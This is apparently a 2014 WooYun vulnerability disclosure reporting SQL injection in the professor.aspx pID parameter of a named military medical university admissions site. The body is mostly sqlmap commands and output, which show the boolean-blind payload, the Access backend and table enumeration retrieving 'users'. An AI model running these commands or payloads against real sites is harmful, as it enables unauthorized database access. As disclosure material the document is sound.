当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062524

漏洞标题:某军医大学SQL注入

相关厂商:Cncert互联网应急中心

漏洞作者: 路人甲

提交时间:2014-05-27 16:23

修复时间:2014-07-11 16:24

公开时间:2014-07-11 16:24

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-28: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向核心白帽子及相关领域专家公开
2014-06-17: 细节向普通白帽子公开
2014-06-27: 细节向实习白帽子公开
2014-07-11: 细节向公众公开

简要描述:

详细说明:

注入:http://yjszs.smmu.edu.cn/professor.aspx?pID=161
第二军医大学

漏洞证明:

[root@Hacker~]# Sqlmap -u "http://yjszs.smmu.edu.cn/professor.aspx?pID=161" --db
s
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:59:15
[15:59:15] [INFO] testing connection to the target URL
[15:59:16] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[15:59:17] [INFO] target URL is stable
[15:59:17] [INFO] testing if GET parameter 'pID' is dynamic
[15:59:17] [INFO] confirming that GET parameter 'pID' is dynamic
[15:59:18] [INFO] GET parameter 'pID' is dynamic
[15:59:18] [WARNING] reflective value(s) found and filtering out
[15:59:18] [WARNING] heuristic (basic) test shows that GET parameter 'pID' might
not be injectable
[15:59:18] [INFO] testing for SQL injection on GET parameter 'pID'
[15:59:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:59:20] [INFO] GET parameter 'pID' is 'AND boolean-based blind - WHERE or HAV
ING clause' injectable
[15:59:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:59:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:59:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:59:22] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:59:22] [INFO] testing 'MySQL inline queries'
[15:59:22] [INFO] testing 'PostgreSQL inline queries'
[15:59:22] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:59:22] [INFO] testing 'Oracle inline queries'
[15:59:22] [INFO] testing 'SQLite inline queries'
[15:59:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:59:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:59:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:59:23] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:59:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:59:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:59:23] [INFO] testing 'Oracle AND time-based blind'
[15:59:23] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:59:23] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[15:59:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:59:33] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:59:39] [INFO] checking if the injection point on GET parameter 'pID' is a fa
lse positive
GET parameter 'pID' is vulnerable. Do you want to keep testing the others (if an
y)? [y/N] y
sqlmap identified the following injection points with a total of 78 HTTP(s) requ
ests:
---
Place: GET
Parameter: pID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pID=161' AND 2082=2082 AND 'mNTB'='mNTB
---
[15:59:49] [INFO] testing MySQL
[15:59:49] [WARNING] the back-end DBMS is not MySQL
[15:59:49] [INFO] testing Oracle
[15:59:49] [WARNING] the back-end DBMS is not Oracle
[15:59:49] [INFO] testing PostgreSQL
[15:59:49] [WARNING] the back-end DBMS is not PostgreSQL
[15:59:49] [INFO] testing Microsoft SQL Server
[15:59:49] [WARNING] the back-end DBMS is not Microsoft SQL Server
[15:59:49] [INFO] testing SQLite
[15:59:50] [WARNING] the back-end DBMS is not SQLite
[15:59:50] [INFO] testing Microsoft Access
[15:59:50] [INFO] confirming Microsoft Access
[15:59:50] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[15:59:50] [WARNING] on Microsoft Access it is not possible to enumerate databas
es (use only '--tables')
[15:59:50] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 72 times
[15:59:50] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:59:50] [INFO] fetched data logged to text files under 'E:\SQL?~1\SQLMAP~1.4\
Bin\output\yjszs.smmu.edu.cn'
[*] shutting down at 15:59:50
[root@Hacker~]# Sqlmap -u "http://yjszs.smmu.edu.cn/professor.aspx?pID=161" --ta
bles
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:59:58
[15:59:58] [INFO] resuming back-end DBMS 'microsoft access'
[15:59:58] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: pID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pID=161' AND 2082=2082 AND 'mNTB'='mNTB
---
[15:59:58] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft Access
[15:59:58] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[15:59:58] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[15:59:58] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:59:58] [INFO] retrieved:
[15:59:59] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[15:59:59] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[15:59:59] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[16:00:01] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[16:00:01] [INFO] checking table existence using items from 'E:\SQL?~1\SQLMAP~1.
4\Bin\txt\common-tables.txt'
[16:00:01] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 5
[16:00:02] [INFO] starting 5 threads
[16:00:03] [INFO] tried 11/3142 items (0%)
[16:00:03] [WARNING] reflective value(s) found and filtering out
[16:00:03] [INFO] retrieved: users
[16:00:46] [INFO] tried 677/3142 items (22%)

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-05-28 16:38

厂商回复:

已经通知用户处理

最新状态:

暂无